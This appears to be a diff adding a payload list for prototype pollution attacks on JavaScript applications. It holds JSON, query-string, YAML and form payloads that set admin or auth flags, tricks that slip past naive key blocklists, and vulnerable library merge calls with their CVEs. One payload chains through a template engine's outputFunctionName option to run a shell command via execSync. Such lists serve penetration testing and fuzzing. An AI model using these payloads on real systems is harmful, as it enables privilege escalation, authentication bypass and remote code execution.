|
| 1 | +# Prototype Pollution Payloads |
| 2 | + |
| 3 | +# Basic __proto__ injection (JSON body) |
| 4 | +{"__proto__": {"polluted": true}} |
| 5 | +{"__proto__": {"admin": true}} |
| 6 | +{"__proto__": {"isAdmin": true}} |
| 7 | + |
| 8 | +# Nested __proto__ via merge utilities |
| 9 | +{"a": {"__proto__": {"polluted": true}}} |
| 10 | +{"user": {"__proto__": {"role": "admin"}}} |
| 11 | +{"data": {"__proto__": {"authenticated": true}}} |
| 12 | + |
| 13 | +# constructor.prototype climbing |
| 14 | +{"constructor": {"prototype": {"polluted": true}}} |
| 15 | +{"x": {"constructor": {"prototype": {"admin": true}}}} |
| 16 | +{"a": {"b": {"constructor": {"prototype": {"isAdmin": true}}}}} |
| 17 | + |
| 18 | +# prototype key pollution (dotted / bracketed) |
| 19 | +{"prototype": {"polluted": true}} |
| 20 | +{"a": {"prototype": {"role": "admin"}}} |
| 21 | + |
| 22 | +# Query string / URL-encoded injection |
| 23 | +?__proto__[polluted]=true |
| 24 | +?__proto__[admin]=true |
| 25 | +?constructor[prototype][polluted]=true |
| 26 | +?__proto__.polluted=true |
| 27 | +?__proto__[isAdmin]=true&__proto__[role]=admin |
| 28 | + |
| 29 | +# Array / bracket notation forms |
| 30 | +{"__proto__":[{"polluted":true}]} |
| 31 | +{"__proto__":["polluted"]} |
| 32 | +{"__proto__": {"x": "y"}, "normal": "value"} |
| 33 | + |
| 34 | +# Deep nested pollution in recursive merges |
| 35 | +{"a": {"b": {"c": {"__proto__": {"polluted": true}}}}} |
| 36 | +{"level1": {"level2": {"level3": {"__proto__": {"admin": true}}}}} |
| 37 | + |
| 38 | +# DOM / clientside pollution (browser location / postMessage) |
| 39 | +?__proto__[polluted]=true (reflected into Object.prototype via unsafe parse) |
| 40 | +<script>location.hash = '#__proto__[polluted]=true'</script> |
| 41 | +postMessage({"__proto__":{"polluted":true}}, "*") |
| 42 | + |
| 43 | +# Pollution reaching dangerous sinks (examples of impact chains) |
| 44 | +{"__proto__": {"env": "production"}} # override environment config |
| 45 | +{"__proto__": {"NODE_ENV": "test"}} # change runtime mode |
| 46 | +{"__proto__": {"template": "malicious"}} # template name used by renderer |
| 47 | +{"__proto__": {"shell": "/bin/sh"}} # argument consumed by exec wrapper |
| 48 | +{"__proto__": {"transport": "file"}} # alter module/transport selection |
| 49 | +{"__proto__": {"outputFunctionName": "a=1;process.mainModule.require('child_process').execSync('id')"}} |
| 50 | + |
| 51 | +# Known vulnerable library merge sinks (context) |
| 52 | +_.merge(target, payload) # lodash < 4.17.12 (CVE-2019-10744) |
| 53 | +_.defaultsDeep(target, payload) # lodash (CVE-2019-10744) |
| 54 | +$.extend(true, target, payload) # jQuery < 3.4.0 (CVE-2019-11358) |
| 55 | +extend(true, target, payload) # npm 'extend' < 3.0.2 (CVE-2018-16492) |
| 56 | +merge.deep(target, payload) # 'merge' < 2.1.1 (CVE-2019-12629) |
| 57 | +hoek.applyToDefaults(defaults, payload) # '@hapi/hoek' < 8.1.2 (CVE-2020-11618) |
| 58 | + |
| 59 | +# Pollution via YAML / unsafe parsers |
| 60 | +__proto__: |
| 61 | + polluted: true |
| 62 | +constructor: |
| 63 | + prototype: |
| 64 | + admin: true |
| 65 | + |
| 66 | +# Bypasses for naive blocklists |
| 67 | +{"__proto__ ": {"polluted": true}} # trailing space evades strict '== "__proto__"' |
| 68 | +{"__proto__\t": {"polluted": true}} # tab in key |
| 69 | +{"constructor.prototype": {"polluted": true}} |
| 70 | +{"this.__proto__": {"polluted": true}} |
| 71 | + |
| 72 | +# Detection probes (safe, non-destructive) |
| 73 | +{"__proto__": {"__pollution_test__": "x"}} |
| 74 | +# After sending, check: ({}).__pollution_test__ === "x" |
| 75 | +# Or in browser console: Object.prototype.__pollution_test__ === "x" |
| 76 | + |
| 77 | +# JSON with escaped unicode keys |
| 78 | +{"\u005f\u005fproto\u005f\u005f": {"polluted": true}} |
| 79 | + |
| 80 | +# Multipart / form-encoded variants |
| 81 | +__proto__[polluted]=true |
| 82 | +constructor[prototype][polluted]=true |
| 83 | + |
| 84 | +# Nested object with mixed safe + malicious keys |
| 85 | +{"name": "legit", "__proto__": {"polluted": true}} |
| 86 | + |
| 87 | +# Polluted property used as a boolean ACL flag (common impact) |
| 88 | +{"__proto__": {"allowAdmin": true}} |
| 89 | +{"__proto__": {"canEdit": true}} |
| 90 | +{"__proto__": {"bypassAuth": true}} |
0 commit comments